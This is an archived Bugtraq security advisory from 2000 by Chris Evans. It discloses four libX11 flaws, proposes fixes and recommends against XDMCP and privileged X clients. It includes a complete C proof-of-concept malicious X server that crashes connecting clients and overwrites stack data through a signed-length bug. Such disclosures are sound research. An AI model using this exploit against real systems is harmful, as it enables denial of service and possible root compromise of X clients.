5211083 2000-06-20  01:54  /377 rader/ Postmaster
Mottagare: Bugtraq (import) <11342>
Ärende: XFree86: Various nasty libX11 holes
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  <Pine.LNX.4.21.0006192251480.9945-100000@ferret.lmh.ox.ac.uk>
Date:         Mon, 19 Jun 2000 23:51:30 +0100
Reply-To: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
To: BUGTRAQ@SECURITYFOCUS.COM

Hi,

I'll summarize the impact and recommendations before I paste a mail
which goes into technical details of the flaws.

SUMMARY
=======

Various coding flaws exist in libX11. Whilst this may not sound too
serious, it is, for two reasons. They are

1) Various X client programs foolishly have privilege _and_ link
against the X libraries.

2) Think of the XDMCP protocol. In a previous post I suggested it was
_not_ a good idea from a security point of view. This is why. If
someone is offering XDMCP services, I can get that host to connect an
X client to a malicious X server of my choice. What code is
processing responses that are under my control? Yep, libX11.

Specific potential problems
- suid-root xterm (how very 90's!) - maybe local root compromise
- sgid tty or utmp xterm? - maybe inconvenient leak of group
- xmtr - drops privs after allocating raw socket, but a raw socket
leak is pretty serious in itself
- running xdm? This is connecting X clients to you whilst running as
root.

COMMENTS
========

libX11 is a _large_ amount of lines of code, implementing a _large_
protocol. The code quality is good and security aware; lots of
sanitization of network data is done. Lengths are distrusted
etc. However what use is that in the face of a huge amount of code?
Combine a very low security bug rate with masses of code, and you get
flaws.

Luckily, people are starting to realise that a good solution is to
separate privileged portions of program out from the rest. And the
privileged portion totally distrusts the client. Examples in RH6.x
- privilege free xterm calls "utempter" program which updates
/var/run/utmp in a distrustful manner
- privilege free xlock/xscreensaver calls "pwdb_chkpwdb" which
validates a username/password combination in a distrustful manner

DETAILS
=======

... are appended

Cheers
Chris

>From chris@ferret.lmh.ox.ac.uk Mon Jun 19 23:15:04 2000
Date: Tue, 30 May 2000 22:21:54 +0100 (BST)
From: Chris Evans <chris@ferret.lmh.ox.ac.uk>
Subject: Probably remote hole: libX11


Hi,

Sorry again to interrupt the capabilities debate ;-)

Version is RedHat6.1 XFree-3.3.5-3

I finally broke libX11. As a reminder, my intention is to demonstrate
why xdmcp is a bad idea. It also demonstrates why xterm (or any other
X app) suid or sgid anything is a bad idea.

I did a relatively complete audit of the XOpenDisplay() function, and
child functions. I was curious what damage a maliciously programmed
"xserver" could do. I found four flaws, one very serious
indeed. Anyone running _any_ xdmcp is in trouble - an xdmcp login
screen will connect several X programs to our malicious X server
using XOpenDisplay().

Here's the synopsis of the serious flaw

#0  0x41414141 in ?? ()
#1  0x401133f1 in _XReply () from /usr/X11R6/lib/libX11.so.6
#2  0x401059bb in XOpenDisplay () from /usr/X11R6/lib/libX11.so.6
#3  0x4007d395 in XtOpenDisplay () from /usr/X11R6/lib/libXt.so.6
#4  0x4007d58f in _XtAppInit () from /usr/X11R6/lib/libXt.so.6
#5  0x400874da in XtOpenApplication () from /usr/X11R6/lib/libXt.so.6
#6  0x40087604 in XtAppInitialize () from /usr/X11R6/lib/libXt.so.6
#7  0x80574bd in strcpy () at ../sysdeps/generic/strcpy.c:30
#8  0x401a61eb in __libc_start_main (main=0x80571c0 <strcpy+46040>,
argc=1,
    argv=0xbffffd34, init=0x804af88 <_init>, fini=0x8064f3c <_fini>,
    rtld_fini=0x4000a610 <_dl_fini>, stack_end=0xbffffd2c)
    at ../sysdeps/generic/libc-start.c:90

As you can see, we've wasted a function pointer or return address. If
you tweak the exploit a bit, you can just as easily waste
either. It's _not_ a simple buffer overflow - it's a subtle
signed/unsigned bug leading to trashing of a few bytes of specific
stack. We have moderate control over this.

The main caveat of this hole is that the sign trip requires us to
send about 4Gb of data in the middle of the exploit! On localhost
this is minutes. Across a LAN, lots of minutes. Across the internet,
hours if its a fast link otherwise forget it. This blemish is
probably cirumventable by exploiting the same hole elsewhere in the X
protocol.

On to the flaws

1) memmove() segfault - probably not exploitable

lib/X11/OpenDis.c, ~line 393

        memmove (setup, u.vendor + vendorlen,
                 (int) setuplength - sz_xConnSetup - vendorlen);

Unfortunately, setuplength and vendorlen are from the network and
overly trusted. If vendorlen is set big and setuplen small, then the
above calculation will result in a negative value, and ~4Gb memmove
=> segfault. Luckily "vendorlen" and "setuplength" are 16 bit
quantites otherwise we would have more precise control over the
length of the memmove.

Fix: check vendorlen is sane!!


2) Infinite loop - DoS an xdmcp serving machine with lots of 100% CPU
X clients.

lib/X11/OpenDis.c, ~line 373

        mask = dpy->resource_mask;
        dpy->resource_shift     = 0;
        while (!(mask & 1)) {
            dpy->resource_shift++;
            mask = mask >> 1;
        }

Oh dear! "mask" is from the network. If it is set to "0", the while
loop will never finish!

Fix: Enclose while() loop in a "if (mask)" test.


3) Integer overflow - luck avoids corruption of malloc()'ed buffer

lib/X11/OpenDis.c, ~line 571

                if (reply.format == 8 && reply.propertyType == XA_STRING &&
                    (dpy->xdefaults = Xmalloc (reply.nItems + 1))) {
                    _XReadPad (dpy, dpy->xdefaults, reply.nItems);

reply.nItems is 32 bits unsigned and read from the network, so by
setting to UINT_MAX, we overflow back to 0. X will then malloc(0) (or
malloc(1) on systems where malloc(0) gives NULL).

Luckily, the _XReadPad call fails to read ~4Gb (or indeed any) network
data into the buffer, because readv() is used and the kernel is
unimpressed about iov.iov_len==4Gb.


4) Nasty one - ability to corrupt bits of stack

lib/X11/XlibInt.c, ~line 1810 in _XAsyncReply

    len = SIZEOF(xReply) + (rep->generic.length << 2);

rep->generic.length is 32 bits unsigned, from the network

len is an "int". We can force len to be negative which in turn causes
all sorts of problems and stack corruption later on in _XAsyncReply.

Fix: Probably in XlibInt.c, _XReply() - after reading the xReply
structure, drop like a hot potato if rep->generic.length is
suspiciously big - more than a few meg?


CONCLUSIONS
===========

Credit to the X team, here. libX11 actually looks like well written
code. It is definitely readable compared with a lot of things I've audited
;-)

However, although the quality of code and regard to security is not
bad, the size of code is large, and that's the killer. Solution:
discourage xdmcp services; DEFINITELY disable them by default if
possible. Also, don't ship anything privileged linked to anything
X. If you are you probably have a design flaw. See things like
RedHat's privilege free xterm, rxvt, etc., as well as _small_ helpers
such as pwdb_chkpwd and userhelper.

I guess other bits of libX11 need auditing. I don't have the time
myself.

Demo xserver program follows. Run it, it'll listen on 6000. Set
DISPLAY to localhost:0.0 and then run an xterm. Your mileage may
vary, but I get segfault with EIP 0x41414141

Cheers
Chris

/* Chris Evans - demo of libX11 flaw. Tricky one this. */

/* Disclaimer - I haven't bothered to beutify this. It probably is tied
 * to little endian machines. Return values go unchecked, etc. ;-)
 */

#include <unistd.h>
#include <string.h>

#include <sys/types.h>
#include <sys/socket.h>

#include <netinet/in.h>

int
main(int argc, const char* argv[])
{
  static int port = 6000;

  char sendbuf[32768];
  char recvbuf[1024];
  struct sockaddr_in local_addr;
  struct sockaddr_in remote_addr;
  int remote_addrlen;
  int listen_fd;
  int accept_fd;
  char c;
  short s;
  int i;
  unsigned int bigsend;

  listen_fd = socket(PF_INET, SOCK_STREAM, 6);

  local_addr.sin_family = AF_INET;
  local_addr.sin_addr.s_addr = INADDR_ANY;
  local_addr.sin_port = htons(port);
  bind(listen_fd, (struct sockaddr*)&local_addr, sizeof(local_addr));

  listen(listen_fd, 1);

  accept_fd = accept(listen_fd, (struct sockaddr*)&remote_addr,
                     &remote_addrlen);

  /* Read initial client connection packet */
  read(accept_fd, recvbuf, 12);
  /* Absorb auth details */
  s = * ((short*)&recvbuf[6]);
  s += * ((short*)&recvbuf[8]);
  read(accept_fd, recvbuf, s);

  /* Send back the nasty reply */
  /* xConnSetupPrefix */
  c = 1;                        /* CARD8 success: xTrue */
  write(accept_fd, &c, 1);
  c = 0;                        /* BYTE lengthReason: 0 */
  write(accept_fd, &c, 1);
  s = 11;                       /* CARD16: majorVersion: 11 */
  write(accept_fd, &s, 2);
  s = 0;                        /* CARD16: minorVersion: 0 (irrelevant) */
  write(accept_fd, &s, 2);
  s = (32 + 40) >> 2;                  /* CARD16: length (of setup packet) */
  write(accept_fd, &s, 2);

  /* xConnSetup, 32 bytes */
  i = 0;                        /* CARD32: release */
  write(accept_fd, &i, 4);
  i = 0;                        /* CARD32: ridBase */
  write(accept_fd, &i, 4);
  i = 1;                        /* CARD32: ridMask: 1. 0 causes 100% CPU */
  write(accept_fd, &i, 4);
  i = 0;                        /* CARD32: motionBufferSize */
  write(accept_fd, &i, 4);
  s = 0;                        /* CARD16: nbytesVendor */
  write(accept_fd, &s, 2);
  s = 0;                        /* CARD16: maxRequestSize */
  write(accept_fd, &s, 2);
  c = 1;                        /* CARD8: numRoots: need 1+ to work */
  write(accept_fd, &c, 1);
  c = 0;                        /* CARD8: numFormats */
  write(accept_fd, &c, 1);
  c = 0;                        /* CARD8: imageByteOrder */
  write(accept_fd, &c, 1);
  c = 0;                        /* CARD8: bitmapBitOrder */
  write(accept_fd, &c, 1);
  c = 0;                        /* CARD8: bitmapScanlineUnit */
  write(accept_fd, &c, 1);
  c = 0;                        /* CARD8: bit:mapScanlinePad */
  write(accept_fd, &c, 1);
  c = 0;                        /* KeyCode (CARD8): minKeyCode */
  write(accept_fd, &c, 1);
  c = 0;                        /* KeyCode (CARD8): maxKeyCode */
  write(accept_fd, &c, 1);
  i = 0;                        /* CARD32: pad */
  write(accept_fd, &i, 4);

  /* xWindowRoot x 1 - 40 bytes */
  /* Contains a "nDepths" - no further data needed if it's set to 0 */
  memset(sendbuf, '\0', 40);
  write(accept_fd, sendbuf, 40);

  /* read 64 bytes of X requests */
  /* From:
   * xCreateGC, 20 bytes + 4 bytes of values (i.e. 1)
   * xQueryExtention, 20 bytes - querying for big requests
   * xGetProperty, 24 bytes - querying for XA_RESOURCE_MANAGER
   */
  read(accept_fd, recvbuf, 64);

  /* Reply to xQueryExtension - an async reply */
  c = 1;                        /* type (BYTE): X_Reply (1) */
  write(accept_fd, &c, 1);
  c = 0;                        /* varies */
  write(accept_fd, &c, 1);
  s = 2;                        /* sequenceNumber (CARD16): 2nd */
  write(accept_fd, &s, 2);
  i = -17;                      /* length (CARD32): signed games here */
  write(accept_fd, &i, 4);
  i = 0x41414141;               /* pad (CARD32); 6 of them */
  /* NOTE - in this program's current form, it seems to be these values
   * which make their way onto the stack, overwriting a function pointer
   */
  write(accept_fd, &i, 4);
  write(accept_fd, &i, 4);
  write(accept_fd, &i, 4);
  write(accept_fd, &i, 4);
  write(accept_fd, &i, 4);
  write(accept_fd, &i, 4);

  /* Now we've got to send a _lot_ of data back to the client - it's trying
   * to read ~4Gb, grrr.
   */

  c = 0;
  bigsend = (unsigned int)-17;
  bigsend <<= 2;
  while (bigsend > 0)
  {
    unsigned int to_send = bigsend;
    if (to_send > 32768)
    {
      to_send = 32768;
    }

    write(accept_fd, sendbuf, to_send);
    bigsend -= to_send;

    if (!c)
    {
      printf("to_go: %u\n", bigsend);
    }
    c++;
  }

  /* Send another xreply - the first 28 bytes are read onto
   * the stack.
   */
  /* NOTE - in its current form, these A's make their way to some unspecified
   * area of stack. In testing I've easily clobbered a return address with
   * these
   */
  memset(sendbuf, 'A', 28);
  write(accept_fd, sendbuf, 28);

  memset(sendbuf, '\0', 32);
  /* First char of buffer, 0, represents X_Error */
  write(accept_fd, sendbuf, 32);

  while(1);
}
(5211083) ------------------------------------------(Ombruten)